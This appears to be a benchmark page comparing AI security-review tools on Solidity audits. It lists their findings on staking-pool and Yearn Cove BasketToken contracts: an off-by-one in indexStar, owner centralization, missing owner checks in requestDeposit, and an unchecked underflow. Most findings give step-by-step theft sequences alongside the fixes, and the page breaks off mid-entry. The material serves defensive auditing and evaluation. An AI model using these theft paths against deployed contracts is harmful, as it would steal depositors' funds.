The owner performs a normal withdrawal when indexEnd is 1. Alice then stakes 100 issue units at index 1, so pendingLiquidation is 100. A seller swaps 100 shares at rate 10000; the loop skips index 1 but sends the seller 100 issue units. Alice receives no shares and cannot unstake.
- Recommendation
-
Set the cutoff to the last used index (indexEnd - 1), or change the record numbering and comparisons consistently.
Devin Security
First stake after an owner withdraw is locked and can be paid out to swappers
contracts/StakingPool.sol:151Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After every owner
withdraw(), the next user to callstake()permanently loses their deposit: they can never unstake it, and any swapper can take their tokens without the staker getting share tokens back.##### What's wrong
This is an off-by-one error in the active-stake window.
withdraw()setsindexStar = indexEnd. The nextstake()stores the new stake atissues[indexEnd], which equalsindexStar. Butunstake(),getStakingInfo(), and theswap()loop all only look at indexes strictly greater thanindexStar. So that one stake falls outside the window. It still counts inpendingLiquidation, though.##### Who can do it
Alice, a non-US user, stakes 1,000 issue tokens right after the fund manager calls
withdraw(). Her stake sits at indexindexStar. When she callsunstake(), nothing is returned. Mallory, who holds share tokens, then callsswap(). ThependingLiquidationcheck passes because it still includes Alice's 1,000 tokens. The swap loop skips Alice's stake, so Alice gets no share tokens, but Mallory still receives the full issue token amount.- The owner has called
withdraw()at least once (this is the normal liquidation flow).- A user stakes after that withdraw, as the first staker.
- For the theft path, any holder of share tokens calls
swap()with an amount that the other active stakes cannot fully cover.##### What they get
Alice loses her whole stake. She cannot unstake it, and it never shows in
getStakingInfo(). A swapper can drain her tokens for share tokens that go to nobody. Otherwise the tokens stay stuck until the next ownerwithdraw()sweeps them to the owner. This happens to one staker after every withdraw cycle.##### How it works
1.
withdraw()setsindexStar = indexEndat StakingPool.sol:154.2.
stake()writes the new stake toissues[indexEnd](now equal toindexStar) and adds it topendingLiquidationat StakingPool.sol:52-56.3.
unstake()skips the stake because of theindex > indexStarcheck at StakingPool.sol:66, so Alice cannot get it back.4.
swap()passes thependingLiquidation >= amountBcheck at StakingPool.sol:121-124, but its loop at StakingPool.sol:128 stops beforeindexStar, so Alice's stake is never debited and she is never paid.5.
swap()still sends the fullamountBTotalof issue tokens to the swapper at StakingPool.sol:148, and those tokens come from Alice's deposit. - Exploit scenario
-
Not specified.
- Recommendation
-
Keep the window boundaries consistent. One option is to set
indexStar = indexEnd - 1inwithdraw(). Another is to treatindexStaras inclusive (index >= indexStar) inunstake,getStakingInfo, and theswaploop, and start the swap loop atindexEnd - 1. Also makeswap()revert ifamountBis still non-zero after the loop. To check the fix, write a test that calls withdraw, then stake, then unstake, and assert the staker gets the full amount back. Then repeat with a swap in place of unstake and assert the staker receives share tokens.
Devin Security (Deep)
First stake after owner withdraw() is unreachable: staker can never unstake and swaps take its funds
contracts/StakingPool.sol:151Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After the fund manager collects a raise, the next person who stakes loses control of that money: they can never unstake it, and any Share holder who swaps can take it while the staker receives nothing in return.
##### What's wrong
This is an off-by-one error in the stake index bookkeeping.
withdraw()setsindexStarequal toindexEnd, but the nextstake()writes its entry atissues[indexEnd], which is the same slot asindexStar. Every reader (unstake,swap,getStakingInfo) only looks at entries withindex > indexStar, so that entry becomes invisible, whilependingLiquidationstill counts its amount.##### Who can do it
Alice, an investor at Acme Capital, stakes 20,000 USDT into the pool right after the fund manager has called
withdraw()to collect the previous raise. Alice's entry is stored at the index that equalsindexStar. Mallory, any holder of the fund's Share token, callsswap()for an amount worth 20,000 USDT. The matching loop never visits Alice's entry, but the liquidity check counts her 20,000 USDT, so Mallory receives it. Alice gets no Share tokens, andunstake()returns nothing to her.Conditions:
- The owner has called
withdraw()at least once; this is the normal flow for collecting a raise.- A user stakes after that call. The first stake after every
withdraw()is affected.- For the swap path, any address holding Share tokens calls
swap(); no KYC gate applies toswap().##### What they get
Alice's whole stake leaves her control. She cannot unstake it, it does not appear in
getStakingInfo, and it never gets matched with Share tokens. If someone swaps, the swapper receives Alice's USDT and the Share tokens they paid are stuck in the pool forever, so nobody can make Alice whole from the pool. If nobody swaps, the manager's nextwithdraw()sweeps Alice's USDT along with the rest, and because the entry is hidden fromgetStakingInfothe manager's off-chain accounting can miss her. This repeats for the first staker after every raise cycle. Other stakers are not affected.##### How it works
1. The constructor sets
indexEndto 1 and leavesindexStarat 0, so the first entry (index 1) is readable (StakingPool.sol:41).2.
withdraw()setsindexStar = indexEndbut does not advanceindexEnd(StakingPool.sol:154).3. The next
stake()writesissues[indexEnd], which now equalsindexStar, and adds the amount topendingLiquidation(StakingPool.sol:52-56).4.
unstake()only processes entries whereindex > indexStar, so the entry is skipped and nothing is returned (StakingPool.sol:66).5.
swap()checkspendingLiquidation >= amountB, which includes the hidden amount (StakingPool.sol:121-124), then loops fromindexEnddown toindexStar + 1and never visits the entry (StakingPool.sol:128).6. Any unmatched
amountBis silently dropped and the swapper still receives the fullamountBTotalin USDT (StakingPool.sol:147-148).7.
getStakingInfo()applies the sameindex > indexStarfilter and hides the entry (StakingPool.sol:91, 101). - Exploit scenario
-
Not specified.
- Recommendation
-
In
withdraw(), advanceindexEndafter movingindexStar(indexStar = indexEnd; indexEnd++;) so the next stake lands aboveindexStar, matching what the constructor does. Alternatively setindexStar = indexEnd - 1and keep the>comparisons. Also addrequire(amountB == 0, "unmatched liquidity")after the loop inswap()so a swap can never pay out USDT that was not matched to a live stake. Check: in a test, callwithdraw(), thenstake()from a user, and confirmgetStakingInfolists the stake,unstake()returns the full amount, and aswap()sends Share tokens to that user.
Claude Security (Sonnet 5.5)
Off-by-one in indexStar after owner withdraw() makes the next staker's position permanently unreachable (cannot unstake, never settled by swap)
contracts/StakingPool.sol:154Predicted severity: Medium- Root cause
-
Vulnerable symbol: withdraw
Preconditions: The owner has called withdraw() at least once, so indexStar equals the current indexEnd; A user calls stake() as the next staker after that withdraw()
Offending code:
indexStar = indexEnd;
- Impact
-
The first depositor after every owner withdraw() loses the ability to unstake and to be settled via swap, so their principal is stranded. The pendingLiquidation accounting also diverges from the amount that is actually reachable. swap() can then pay out issue tokens that back unreachable positions without distributing any shares to a staker. This is a loss or lock of user funds caused by an index boundary error.
- Description
-
withdraw() sets indexStar = indexEnd, but indexEnd is the next free slot that the following stake() writes to, while unstake() and swap() only consider indices strictly greater than indexStar (index > indexStar, i > indexStar). The first stake after every withdraw() therefore lands on index == indexStar and is excluded from both loops.
- Exploit scenario
-
The owner calls withdraw() when indexEnd == N, so indexStar becomes N. Alice then calls stake(1000): the issue is stored at issues[N], indexEnd becomes N+1, and pendingLiquidation grows by 1000. Alice's unstake() skips N because N > N is false, so she cannot recover her tokens. swap() iterates i from N+1 down to N+1 and never reaches N, so she is never paid redeem shares. Because pendingLiquidation still counts her 1000, a swapper's
pendingLiquidation >= amountBcheck passes. The loop then settles nobody, and swap still transfers amountBTotal issue tokens out of the pool balance (the unchecked tail at lines 147-148), which can consume Alice's deposit. The swapper's shares stay in the pool and are never distributed. Alice's funds stay locked until the owner's next withdraw() sweeps them. - Recommendation
-
Set indexStar = indexEnd - 1 in withdraw(), since the constructor starts with indexEnd = 1 and indexStar = 0 to keep the first valid index strictly greater than indexStar. Alternatively, make the comparisons inclusive (>=) or advance indexEnd before the next stake. Also add a require(amountB == 0) after the settlement loop in swap(), and derive the payout from the amount actually settled so unreachable positions cannot be paid out from pool balance.
Claude Security (Opus 5.5)
Off-by-one in the indexStar check permanently denies the first staker after an owner withdraw, and swap() hands that stake's principal to the swapper
contracts/StakingPool.sol:154Predicted severity: Medium- Root cause
-
Vulnerable symbol: withdraw
Preconditions: The owner has called StakingPool.withdraw() at least once, which is a normal admin action; A user stakes as the first depositor after that withdraw
Offending code:
indexStar = indexEnd;
- Impact
-
The first staker after every owner withdraw loses their whole principal. They cannot unstake it, they get no shares for it, and any third party can take it through swap(). pendingLiquidation also no longer matches the stakes that can actually be filled.
- Description
-
withdraw() sets indexStar = indexEnd, but indexEnd is the next free slot. Every later check asks whether a stake is still valid with a strict
index > indexStar(unstake line 66, getStakingInfo lines 91/101, swap loop line 128). So the very next stake, at index == indexStar, is treated as invalid: its owner can never unstake it. Its amount is still counted in pendingLiquidation, so an unrestricted swap() caller can draw it out. - Exploit scenario
-
The owner calls withdraw() once, leaving indexStar = indexEnd = N. Victim stakes 10,000 USDT, which is stored at issues[N], with pendingLiquidation = 10,000. Victim's unstake() skips index N because N > N is false, so they get 0 back. Any share holder then calls swap(amount) with amount*rate/10000 <= 10,000. The loop runs i = N+1 (an empty slot) and stops before reaching N, so no staker gets shares. pendingLiquidation passes its check, and the swapper receives the victim's USDT. The swapper's shares stay stuck in the pool and the victim is never paid.
- Recommendation
-
Set indexStar = indexEnd - 1 in withdraw(), or change every validity check to
index >= indexStarwith a matching loop bound. Also make swap() require that the amount actually distributed to stakers equals amountBTotal, and revert otherwise.
Vercel Security Review
Withdrawal cutoff excludes the first subsequent deposit
contracts/StakingPool.sol:154Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new withdrawal routine marks
indexEndas already consumed.** -contracts/StakingPool.sol:151-154```solidity title="contracts/StakingPool.sol:151-154"
function withdraw() public onlyOwner {
uint balance = issueToken.balanceOf(address(this));
issueToken.safeTransfer(msg.sender, balance);
indexStar = indexEnd;
```
**2. However,
indexEndis the next unused index: the next eligible depositor transfers funds and receives exactly that index.** -contracts/StakingPool.sol:51-54```solidity title="contracts/StakingPool.sol:51-54"
issueToken.safeTransferFrom(msg.sender, address(this), amount);
issues[indexEnd] = Issue(msg.sender, amount, block.timestamp, true);
userIssueIndex[msg.sender].push(indexEnd);
indexEnd++;
```
**3. Unstaking excludes equal indices, making this deposit nonwithdrawable without owner intervention.
swapapplies the same exclusion at line 128, preventing share allocation too.** -contracts/StakingPool.sol:66-69```solidity title="contracts/StakingPool.sol:66-69"
if (index > indexStar) {
Issue storage issueInfo = issues[index];
if (issueInfo.isStaking) {
unstakeAmount += issueInfo.issueAmount;
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Keep the consumed cutoff at the last assigned index, e.g. set indexStar to indexEnd - 1, or consistently redesign the interval boundaries across all consumers. Add regression coverage for withdrawing, staking again, and then unstaking or matching that first new deposit.
-
Centralization risks chateau-4 · 3 writeups High
V12
Administrative withdrawals extinguish existing depositor claims
contracts/StakingPool.sol:49Predicted severity: Low- Root cause
-
The administrative custody transfer also expires all existing staking claims and resets their aggregate without migrating them into a recoverable per-user liability. Active issue records are left behind but excluded from every user settlement path.
- Impact
-
A permitted administrative action removes both depositor backing and every direct user settlement route for pre-withdrawal issues. Users depend on the owner returning funds outside the implemented claim system; the code does not preserve a later on-chain entitlement, and no unauthorized caller can invoke this path.
- Description
-
Owner withdrawal transfers the entire issue-token balance to the owner, including tokens backing active user issues. It then advances
indexStarpast those issues and resetspendingLiquidationto zero without creating any replacement claim or payout record for the depositors. Existing issue structs may still sayisStaking = true, but user withdrawal and the getter exclude them by index. The test suite explicitly exercises an owner withdrawal immediately after another account's stake, so this is a reachable administrative lifecycle rather than an unused branch. The supplied trust model authorizes owner withdrawals, making this a privileged custodial risk rather than an access-control bypass.
Pashov (Claude Opus 5.5 high)
swap() has no slippage protection and is exposed to owner rate changes and front-running of setRate
contracts/StakingPool.sol:110Predicted severity: Low- Root cause
-
A mutable admin price is used without a minOut/maxPrice parameter or a delay.
- Impact
-
Value moves between stakers and swappers. Stakers are forced to buy shares at a stale price, and swappers can receive fewer tokens than expected.
- Description
-
swap() converts shares to USDT at the current owner-set rate. The caller cannot give a minimum output, and stakers cannot cap the price they pay for shares. When a rate cut is pending, shareholders can front-run setRate and dump shares on stakers at the old, higher price. If setRate lands just before a swap, the swapper gets a different amount than expected. The rate can be any value, including extreme ones.
- Exploit scenario
-
The vault's NAV drops and the owner submits setRate(5000). A shareholder sees it and calls swap() first at rate 10000. Stakers get shares worth half of the USDT taken from them.
- Recommendation
-
Add a minAmountOut / deadline parameter to swap(), use a timelock for rate changes, and consider limits on the rate.
Devin Security (Deep)
Owner can sweep the whole redemption pot and mint unlimited Share to drain it, with no timelock
contracts/VaultPool.sol:43Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Whoever holds the fund manager's key can take every USDT waiting for Share holders in one call, or mint themselves enough Share to redeem almost all of it, so a stolen key means Share holders get nothing.
##### What's wrong
This is a centralization risk with no safeguards.
VaultPool.withdraw()transfers the entire issueToken balance to the owner and pauses redemptions, and the same owner controlsShare.mint(no supply cap) andShare.burn(from, amount)(any holder's balance, no allowance), so the pro-rata payout inreedem()can be diluted or voided at will.##### Who can do it
Alice and Bob hold Share tokens of an Acme Capital fund. The manager deposits 1,000,000 USDT into the VaultPool for redemptions. Mallory, who has stolen the manager's key, calls
withdraw()and receives the full 1,000,000 USDT, and the vault is paused. Alternatively, Mallory callsShare.mint([mallory], [hugeAmount])and thenreedem(hugeAmount)so her share of the pot approaches 100%.Conditions:
- The attacker controls the owner address (the Factory owner's EOA, set in
Factory.newFund).- USDT has been deposited into the vault for redemptions.
##### What they get
Every Share holder's redemption value, instantly. Minting and burning also let the attacker dilute or wipe out specific holders. This affects all holders of every fund managed by the same key. The design does require the manager to fund and manage redemptions, so this is a trust assumption, but the code places no limit or delay on it.
##### How it works
1.
Factory.newFundmakes one EOA the owner of the VaultPool and of the Share token (Factory.sol:28, 32).2.
withdraw()sends the full balance to the owner and pauses the vault (VaultPool.sol:43-48).3.
reedem()paysamount * issueTotal / (totalSupply + 1), so minting raisestotalSupplyand dilutes every other holder (VaultPool.sol:31-33).4.
Share.minthas no supply cap andShare.burn(from, amount)needs no allowance (Share.sol:16-30). - Exploit scenario
-
Not specified.
- Recommendation
-
Move ownership to a multisig behind a timelock, cap or schedule
Share.mint, and consider freezing minting once a fund enters the redemption phase. Check: verify on-chain thatowner()of the VaultPool and Share is the timelock, and thatwithdraw()from the manager EOA reverts.
-
-
Cove Solidity Yearn Cove basket manager. Tasks 7 V12 4/7 Codex Sec 1/7 Pashov Opus 4/7 Pashov GPT-6 2/7 Devin 3/7 Devin (Deep) 4/7 Claude Sec 2/7 Claude Opus 2/7 Vercel 2/7
Yearn Cove basket manager.
Read the audit report-
Lack of access control in requestDeposit cove-1 · 9 writeups Critical
V12
Unauthenticated deposit requests steal approved assets
src/BasketToken.sol:231Predicted severity: Critical- Root cause
-
requestDeposittreats underlying-token approval to the vault as authorization for arbitrary callers to spend an owner's assets and assign their entitlement to any controller. - Impact
-
Any external caller can steal underlying assets from users with sufficient balances and outstanding allowances to the basket vault. The attack requires no operator approval, privileged role, or cooperation from the rebalance manager.
- Description
-
requestDepositaccepts independentownerandcontrolleraddresses without authenticating the caller againstowner. It credits the supplied controller and pulls the underlying asset from the owner using the owner's allowance to the vault. Consequently, an unrelated caller can select an owner who has approved the vault and select themselves as controller. The caller can immediately recover the pulled assets throughcancelDepositRequest, without waiting for a rebalance or share fulfillment. Neither the outstanding-request checks nor the asset-pause check binds the caller to the asset owner.
Codex Security (GPT-6 Sol)
Any caller can withdraw an owner's approved base tokens through
requestDepositsrc/BasketToken.sol:231Predicted severity: High- Root cause
-
requestDeposittreats ERC20 allowance to the basket as sufficient to debit anyowner. It creditscontrollerbeforesafeTransferFromand never bindsmsg.sendertoowneror checks an owner-granted operator approval. The controller-only cancellation path then pays the caller. - Impact
-
An unprivileged caller can immediately drain base tokens up to an existing basket allowance; the required victim allowance is common for vault use.
- Description
-
requestDepositaccepts an arbitraryownerand credits a caller-selectedcontrollerwithout checking owner authorization. Anyone can use a victim's allowance to the basket, then cancel the new request and receive those tokens immediately. - Exploit scenario
-
Attacker-selected owner and controller flow into a claim mapping and transferFrom; the same controller receives the cancellation transfer.
- Recommendation
-
Require
msg.sender == owneror an explicit owner-granted operator approval before using the owner's assets; retain an owner-authorized binding for the credited controller.
Pashov (Claude Opus 5.5 high)
BasketToken.requestDeposit lacks owner authorization: anyone can pull approved assets of any user into a deposit they control
src/BasketToken.sol:231Predicted severity: High- Root cause
-
Missing
_onlySelfOrOperator(owner)(or an equivalent msg.sender == owner || isOperator[owner][msg.sender] check) before pulling funds fromowner. - Impact
-
Every user with an outstanding ERC20 allowance to a BasketToken can have the full allowance stolen. Infinite approvals are common, and so are approvals left over after the user's own deposit. The attacker becomes the controller of the stolen deposit, receives the basket shares after the next rebalance, and can redeem them or cancel the pending deposit, since cancelDepositRequest refunds the controller (msg.sender). This is a direct theft of user funds.
- Description
-
requestDeposit(assets, controller, owner) transfers
assetsof the base asset from the arbitraryownerargument via safeTransferFrom and credits the deposit to the arbitrarycontrollerargument. Nothing checks that msg.sender == owner or that msg.sender is an approved operator of owner, as ERC-7540 requires. requestRedeem has the equivalent check, and the test suite exercises the operator path. - Exploit scenario
-
1) Alice approves the basket token for type(uint256).max USDC and deposits 100 USDC. 2) The attacker monitors Alice's USDC balance and allowance, then calls basket.requestDeposit(aliceBalance, attacker, alice). 3) The basket pulls Alice's USDC and records depositAssets[attacker]. 4) The attacker immediately calls cancelDepositRequest() and receives Alice's USDC, or waits for fulfillment and claims the shares.
- Recommendation
-
At the start of requestDeposit, require msg.sender == owner or isOperator[owner][msg.sender]; otherwise revert with NotAuthorizedOperator.
Pashov (Codex GPT-6 Sol high)
Anyone can turn an approved user’s assets into attacker controlled basket shares
src/BasketToken.sol:231Predicted severity: Critical- Root cause
-
The function does not require msg.sender to be the asset owner or an authorized operator before transferFrom(owner), and it does not bind controller to owner.
- Impact
-
Any base assets covered by an existing allowance to a basket token can be stolen immediately by an arbitrary caller.
- Description
-
requestDeposit accepts any owner and attacker-controlled controller, and immediately pulls tokens through the owner’s existing ERC20 allowance. The attacker becomes the controller and can cancel the still-pending request to receive the victim’s base assets directly, without a rebalance.
- Exploit scenario
-
A victim has approved the basket token for 100 base tokens. An attacker calls requestDeposit(100, attacker, victim), then calls cancelDepositRequest() as the attacker. The basket token transfers the victim’s 100 tokens to the attacker.
- Recommendation
-
Require the caller to be the owner or an explicitly approved operator before pulling tokens from owner; bind delegated deposit authority and controller assignment to the owner’s consent.
Devin Security
requestDeposit pulls assets from any owner without checking the caller is the owner or an operator
src/BasketToken.sol:232Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can take the deposit tokens of any user who has approved a basket token, and turn them into basket shares the attacker controls.
##### What's wrong
This is a missing authorization check on a token pull.
requestDeposittakesownerandcontrollerfrom the caller and callssafeTransferFrom(owner, ...), but it never checks thatmsg.senderisowneror an approved operator ofowner. The deposit is credited to the caller-chosencontroller. ERC-7540 requires this check, and the siblingrequestRedeemin the same file does perform it.##### Who can do it
Alice, a user of Acme's Cove basket, approves the basket token to spend her WETH. She often grants a large or unlimited allowance so she can deposit over time. Mallory, any address on the chain, calls
requestDeposit(aliceBalance, mallory, alice).- Alice has a non-zero ERC20 allowance on the basket's base asset to the basket token contract.
- The basket has no paused assets.
- Mallory has no pending or claimable deposit for her own controller address.
##### What they get
Alice's WETH, up to her allowance or balance, moves into the basket under Mallory's deposit request. After the next rebalance, Mallory claims the minted shares with
deposit, or simply cancels the request withcancelDepositRequestand gets Alice's WETH sent straight to her. Mallory can do this to every user with a standing allowance on every basket.##### How it works
1. Mallory calls
requestDeposit(assets, mallory, alice)at src/BasketToken.sol:232.2. The function only checks Mallory's own pending and claimable state (lines 238-249) and never compares
msg.senderwithowner.3. It credits
depositAssets[mallory]with the amount (line 254) and setslastDepositRequestId[mallory](line 258).4. It pulls the tokens from Alice with
safeTransferFrom(owner, address(this), assets)(line 263).5. Mallory calls
cancelDepositRequest(line 503), which refunds the pending amount tomsg.sender, Mallory. - Exploit scenario
-
Not specified.
- Recommendation
-
At the start of requestDeposit, add
if (owner != msg.sender && !isOperator[owner][msg.sender]) revert NotAuthorizedOperator();, the same as the ERC-7540 reference. To check the fix, add a Foundry test where Alice approves the basket token and a different address calls requestDeposit(amount, attacker, alice). The call must revert, and it must still succeed when Alice has called setOperator(attacker, true).
Devin Security (Deep)
requestDeposit pulls tokens from any
ownerwithout an operator or allowance checksrc/BasketToken.sol:231Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can pull the full base-asset allowance that any user has granted to a basket token and walk away with it in the same transaction.
##### What's wrong
This is a missing authorization check on a path that pulls funds from a third party.
requestDeposit(assets, controller, owner)never checks that the caller isowneror an operator approved byownerbefore it callssafeTransferFrom(owner, ...), and it credits the deposit to a caller-chosencontroller. The siblingrequestRedeemdoes perform this check, so the omission is a bug, not a design choice.##### Who can do it
Alice, a depositor at Acme Fund, approves the basket token to spend her WETH (most wallets grant an unlimited allowance) and deposits. Mallory, anyone with an Ethereum account, calls
requestDeposit(remainingAllowance, mallory, alice)and thencancelDepositRequest().- The victim has a non-zero allowance for the basket's base asset granted to the BasketToken contract (left over after a deposit, or sitting in the mempool before a deposit transaction).
- The basket's assets are not paused in the AssetRegistry.
- The attacker's chosen
controllerhas no outstanding deposit request (a fresh address always works).##### What they get
Mallory receives Alice's WETH directly, because
cancelDepositRequestpaysmsg.sender. If she prefers, she waits for the next rebalance and claims the minted shares throughdeposit()as the controller. She can repeat this against every user who has any allowance left on any basket token. This is direct theft of depositor funds across all baskets.##### How it works
1. Mallory calls
requestDeposit(assets, mallory, alice)on the BasketToken (src/BasketToken.sol:231). No owner or operator check runs; comparerequestRedeemat src/BasketToken.sol:319-323.2. The contract records
depositAssets[mallory] += assets(src/BasketToken.sol:255) and pulls the tokens withsafeTransferFrom(alice, address(this), assets)(src/BasketToken.sol:264).3. Mallory calls
cancelDepositRequest()(src/BasketToken.sol:503).pendingDepositRequest(nextDepositRequestId, mallory)returns the stolen amount and the contract transfers it to her (src/BasketToken.sol:515).4. If she waits instead,
deposit(assets, mallory, mallory)(src/BasketToken.sol:678) hands her the shares minted for Alice's assets. - Exploit scenario
-
Not specified.
- Recommendation
-
Add an owner/operator check at the top of
requestDeposit, mirroringrequestRedeemand ERC-7540:if (msg.sender != owner && !isOperator[owner][msg.sender]) revert NotAuthorizedOperator();. Verify with a test wherevictimapproves the basket token and a non-operator callsrequestDeposit(amount, attacker, victim); it must revert withNotAuthorizedOperator. The existing test that sets an operator before calling on behalf of another account (test/unit/BasketToken.t.sol:236-240) should still pass.
Claude Security (Sonnet 5.5)
requestDeposit pulls tokens from an arbitrary
ownerwith no check that the caller is that owner or its operator, so any ERC-20 or permit approval to the basket can be spent by anyonesrc/BasketToken.sol:231Predicted severity: High- Root cause
-
Vulnerable symbol: requestDeposit
Preconditions: The victim has a non-zero allowance of the basket asset to the BasketToken. This can be a standing approval, or one granted in the same transaction through
selfPermitor a permit signature visible in the mempool.; The victim holds the asset balance.; The basket's assets are not paused.Offending code:
function requestDeposit(uint256 assets, address controller, address owner) public returns (uint256 requestId) {
- Impact
-
Any account can take any user's approved asset balance, up to min(balance, allowance) of the basket's asset, and credit it to a controller of the attacker's choosing. After the next rebalance the attacker claims the shares via
depositormintand redeems them, so the victim loses funds. Users who gave the basket an infinite approval are fully exposed. Users of theselfPermitplusrequestDepositmulticall flow are exposed to the value they sign for. - Description
-
The untrusted
ownerargument is passed straight intoIERC20(asset()).safeTransferFrom(owner, address(this), assets)at line 264. The function never checksmsg.sender == ownerorisOperator[owner][msg.sender]. Every other owner-scoped entry point does this check (_onlySelfOrOperatorat 683, 711, 760, 782, and the allowance or operator check inrequestRedeemat 319-323). The inheritedSelfPermitmixin makes the approval trivially obtainable from a public signature. - Exploit scenario
-
1. Alice holds the basket asset (for example USDC) and has approved the BasketToken, either with a standing approval or in a multicall of
[selfPermit(asset, value, deadline, v, r, s), requestDeposit(value, alice, alice)]. 2. Mallory callsbasket.requestDeposit(aliceBalance, mallory, alice)directly, or in the permit flow first callsasset.permit(alice, basket, value, deadline, v, r, s)with the signature copied from the mempool and thenrequestDeposit(value, mallory, alice). 3. Line 264 pulls Alice's tokens into the basket, anddepositRequest.depositAssets[mallory]is credited. 4. Alice's own multicall reverts because the permit nonce is already spent. 5. After the rebalance, Mallory callsdeposit(assets, mallory, mallory)to receive the shares and then redeems them, taking Alice's assets. - Recommendation
-
At the top of
requestDeposit, requiremsg.sender == ownerorisOperator[owner][msg.sender]. The simplest fix is_onlySelfOrOperator(owner), which reverts withNotAuthorizedOperator. Do this before any state change or transfer. This matches the ERC-7540 requirement quoted in IERC7540.sol, that approval of ERC-20 tokens from owner to sender is NOT enough. Add a regression test where a non-operator callsrequestDeposit(x, attacker, victim)and must revert.
Claude Security (Opus 5.5)
requestDeposit never checks that the caller is the owner or the owner's operator, so anyone can pull a victim's approved assets and cancel the request to take them
src/BasketToken.sol:231Predicted severity: High- Root cause
-
Vulnerable symbol: requestDeposit
Preconditions: The victim has a non-zero ERC-20 allowance for the basket's base asset granted to the BasketToken, or a permit signature for it is visible; None of the basket's assets is paused in AssetRegistry (the check at line 249)
Offending code:
function requestDeposit(uint256 assets, address controller, address owner) public returns (uint256 requestId) {
- Impact
-
Any unprivileged account can steal the full approved balance of the basket's base asset from every user with a non-zero allowance to any BasketToken. Funds are lost directly and the theft is atomic.
- Description
-
ownerandcontrollerare both chosen by the caller. requestDeposit never requires msg.sender == owner or isOperator[owner][msg.sender], yet at line 264 it calls safeTransferFrom(owner, address(this), assets) using the allowance the victim gave to the BasketToken. The assets are credited to the controller the attacker picked (line 255). requestRedeem (lines 319-323) and the claim functions do check authorization. IERC7540.sol lines 42-43 says owner MUST be msg.sender unless explicit approval was given, and that an ERC-20 approval alone is not enough. - Exploit scenario
-
Alice approves the BasketToken for USDC so she can deposit. A max approval is common, and the approve and requestDeposit transactions are usually sent separately. In one transaction the attacker calls basket.requestDeposit(min(allowance, balance of Alice), attacker, alice). The USDC moves from Alice into the basket and is recorded as the attacker's pending deposit in the current epoch. The attacker then calls basket.cancelDepositRequest(). It reads pendingDepositRequest(nextDepositRequestId, msg.sender = attacker), sets the attacker's entry to zero and transfers the USDC to the attacker. Alice's funds are gone before any rebalance happens. A user who relies on an EIP-2612 permit is exposed too: the attacker can submit the signature seen in the mempool directly to token.permit(alice, basket, ...) and then run the same steps. Instead of cancelling, the attacker could also leave the request in place and later claim the basket shares minted for Alice's assets.
- Recommendation
-
Add an operator check on
ownerat the start of requestDeposit, for example_onlySelfOrOperator(owner);, which reverts with NotAuthorizedOperator unless msg.sender == owner or isOperator[owner][msg.sender]. This matches ERC-7540 and the existing NotAuthorizedOperator error. Do not accept an ERC-20 allowance as authorization.
Vercel Security Review
Anyone can steal assets approved to a basket through requestDeposit
src/BasketToken.sol:231Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. An unprivileged caller credits themselves using another owner's allowance** -
src/BasketToken.sol:231-275```solidity title="src/BasketToken.sol:263-265"
DepositRequestStruct storage depositRequest = _depositRequests[requestId];
// update controllers balance of assets pending deposit
depositRequest.depositAssets[controller] += assets;
```
The new public request flow never authenticates
owneror checks their operators before transferring their approved assets. An attacker supplies the victim as owner and themselves as controller.**2. The attacker cancels and receives the victim's assets immediately** -
src/BasketToken.sol:512-517```solidity title="src/BasketToken.sol:513-517"
depositRequest.depositAssets[msg.sender] = 0;
depositRequest.totalDepositAssets -= pendingDeposit;
// Interactions
IERC20(asset()).safeTransfer(msg.sender, pendingDeposit);
```
No rebalance or privileged participation is needed; theft is limited by the victim's balance and basket allowance.
- Exploit scenario
-
Not specified.
- Recommendation
-
Before recording or transferring a deposit, require msg.sender == owner or isOperator[owner][msg.sender]. Do not treat an ERC20 allowance to the basket as authorization for an arbitrary caller to choose the controller.
-
Underflow when calculating basket balances cove-2 · 3 writeups Critical
V12
Net-amount guard permits gross-amount underflow
src/libraries/BasketManagerUtils.sol:793Predicted severity: Informational- Root cause
-
The balance guard validates
netBuyAmountalthough the settlement subtraction usesinitialBuyAmount. The unchecked arithmetic relies on a bound that the guard does not enforce. - Impact
-
Security relevance remains unresolved: can the wrapped write survive the later target-weight check, or be consumed by subsequent trades in a proposal that ultimately succeeds? The missing fact is a guard-compatible complete proposal under supported oracle and strategy inputs; the searched boundary includes
proposeTokenSwap,_validateExternalTrades,_isTargetWeightMet, manager role gates, and the available unit-trade tests, so durable corruption or fund loss is not established. - Description
-
The buy-side sufficiency check in
_processInternalTradescompares the counterparty's balance withnetBuyAmount, but settlement deducts the largerinitialBuyAmount. When the buy-side fee is nonzero and the balance lies between those amounts, the check passes and the subsequent unchecked subtraction wraps. For example, gross buy amount 100, fee 2, net amount 98, and counterparty balance 99 pass validation but produce a wrapped balance when 100 is deducted. The wrapped amount is assigned both to memory and tobasketBalanceOfbefore the subsequent proposal-wide weight check. This establishes a local arithmetic-defense failure, but ordinary positive-price weight checks may revert the proposal and roll back the corrupted write.
Pashov (Claude Opus 5.5 high)
Internal trade validates toBasket balance against netBuyAmount but subtracts initialBuyAmount in an unchecked block (underflow)
src/libraries/BasketManagerUtils.sol:798Predicted severity: Medium- Root cause
-
The check uses the wrong variable: netBuyAmount instead of initialBuyAmount. The unchecked comment assumes the check covers the subtraction.
- Impact
-
basketBalanceOf for the buying basket becomes astronomically large, which corrupts totalAssets, share pricing, proRataRedeem (it can withdraw everyone's tokens of that asset held by the BasketManager), and rebalance math. Also, the fee is charged on tokens the basket does not have. A malformed or edge-case proposal can do this; the proposer bot may size trades to exactly the available balance.
- Description
-
With a non-zero swapFee, initialBuyAmount = netBuyAmount + feeOnBuy. The sufficiency check is
info.netBuyAmount > basketBalances[toBasketIndex][toBasketBuyTokenIndex], but insideuncheckedthe code subtracts initialBuyAmount from the same balance and writes the result to storage. If netBuyAmount <= balance < initialBuyAmount, the subtraction wraps to ~2^256 and gets stored as the toBasket's balance of buyToken. - Exploit scenario
-
